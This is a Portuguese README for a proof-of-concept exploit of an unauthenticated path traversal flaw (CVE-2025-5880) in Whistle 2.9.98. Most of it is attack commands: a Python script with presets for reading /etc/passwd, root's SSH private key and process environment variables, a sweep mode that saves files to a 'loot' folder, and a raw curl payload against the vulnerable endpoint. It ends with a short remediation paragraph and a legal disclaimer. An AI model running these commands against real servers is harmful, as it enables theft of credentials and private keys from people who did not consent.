CVE-2025-5880 — Prova de Conceito de Path Traversal no Whistle 2.9.98

Prova de conceito de exploração para uma vulnerabilidade de path traversal não autenticada no Whistle v2.9.98.

Resumo da Vulnerabilidade

O parâmetro de consulta filename não é sanitizado antes de ser usado para abrir um arquivo no disco, permitindo que um atacante escape do diretório de arquivos temporários pretendido e leia qualquer arquivo que o processo Whistle tenha permissão para acessar (por exemplo, /etc/passwd, /root/.ssh/id_rsa).

Início Rápido

# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
 
# Sem dependências externas
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd

Uso

python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
                          [--sweep] [-o OUTPUT] [--save-dir DIR]
                          [--timeout N]

Exemplos

# Ler /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
 
# Obter a chave privada SSH do root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
 
# Ler um caminho arbitrário
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
 
# Varrer e salvar todos os presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

PoC Bruto (curl)

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'

Remediação

Atualize o Whistle para uma versão que valide e restrinja o parâmetro filename ao diretório de arquivos temporários pretendido. Aplique normalização de caminho com lista de permissões (ex.: path.resolve + verificação de prefixo) no lado do servidor.

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade pelo uso indevido.